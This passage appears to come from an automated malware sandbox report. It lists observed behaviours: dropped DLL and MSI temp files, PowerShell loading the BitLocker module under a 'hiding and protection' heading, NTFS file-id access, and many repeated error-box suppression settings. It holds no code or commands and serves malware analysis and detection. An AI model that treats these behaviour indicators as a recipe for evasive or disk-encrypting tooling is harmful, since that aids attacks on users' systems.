Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\swfob4yn.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI716.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID51C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6642.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI88DF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI29F2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI37FD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI697.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4934.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA495.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6F6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1543.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB9E2.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI63A3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7F3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI716.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID51C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6642.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI88DF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI29F2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI37FD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI697.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4934.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA495.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6F6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1543.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB9E2.tmp	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Tries to open files direct via NTFS file id

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: NULL			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: NULL			Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
